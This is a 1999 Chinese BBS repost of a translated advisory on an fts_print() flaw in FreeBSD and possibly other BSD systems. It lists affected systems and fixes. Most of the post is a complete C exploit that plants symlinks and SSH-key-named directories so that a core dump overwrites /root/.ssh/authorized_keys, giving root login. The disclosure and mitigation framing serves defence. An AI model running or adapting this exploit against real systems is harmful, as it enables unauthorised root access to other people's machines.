荔园在线
荔园之美,在春之萌芽,在夏之绽放,在秋之收获,在冬之沉淀
[回到开始]
[上一篇][下一篇]
发信人: zzt (我命由我不由天), 信区: Linux
标 题: 函数"fts_print()"漏洞允许在一些BSD系统上改写文件
发信站: BBS 荔园晨风站 (Sat Sep 4 17:35:28 1999), 转信
函数"fts_print()"漏洞允许在一些BSD系统上改写文件(29/8/99
作者:(c) 1999 babcia padlina ltd. <babunia@FreeBSD.lublin.pl>
编译测试及中文翻译:小鱼儿(littlefish@soim.net)
www.isbase.com
漏洞概要:
这漏洞将导致BSD系统产生Core Dump,从而别用来改写一些已经存在的文件。
详细资料:
根据以下代码可以测试这漏洞:
/*
(c) 1999 babcia padlina ltd. <babunia@FreeBSD.lublin.pl>
当运行着/etc/security 脚本时(从'daily' 执行),函数 "fts_print" 允许改写
一些已经存在的文件。
受影响的系统:
- freebsd (all versions)
- probably openbsd/netbsd
修复方法:
- 限定根用户的 coredump 大小
- 给 libc 打补丁
*/
#include <stdio.h>
#include <errno.h>
#include <sys/stat.h>
#include <strings.h>
#include <unistd.h>
#define STRING "\nYOUR PUBLIC SSH1 KEY (-b 512) GOES HERE!\n"
#define FILE "/root/.ssh/authorized_keys"
#define CORE "find.core"
#define DEPTH 300
#define BUFSIZE 250
int makedir(dir, linkfrom, linkto)
char *dir, *linkfrom, *linkto;
{
if (mkdir(dir, (S_IRWXU | S_IRWXG | S_IRWXO)))
return -1;
if (chdir(dir))
return -1;
if (symlink(linkfrom, linkto) < 0)
return -1;
return 0;
}
int main(argc, argv)
int argc;
char **argv;
{
int i = 0;
char pid[10], buf[BUFSIZE];
sprintf(pid, "%d", getpid());
if (mkdir(pid, (S_IRWXU | S_IRWXG | S_IRWXO)))
{
perror("mkdir()");
return -1;
}
if (chdir(pid))
{
perror("chdir()");
return -1;
}
bzero(buf, BUFSIZE);
memset(buf, 0x41, BUFSIZE-1);
for(i=0;i<DEPTH;i++)
{
if (makedir(STRING, FILE, CORE) < 0)
{
perror("makedir()");
return -1;
}
if(makedir(buf, FILE, CORE) < 0)
{
perror("makedir()");
return -1;
}
}
return 0;
}
本文由isbase成员编译或原创,如要转载请保持文章的完整性
欢迎访问我们的站点http://www.isbase.com
绿色兵团给你安全的保证
--
日出东方,唯我不败;
天上地下,唯我独尊。
※ 来源:.BBS 荔园晨风站 bbs.szu.edu.cn.[FROM: 210.39.3.68]
[回到开始]
[上一篇][下一篇]
荔园在线首页 友情链接:深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店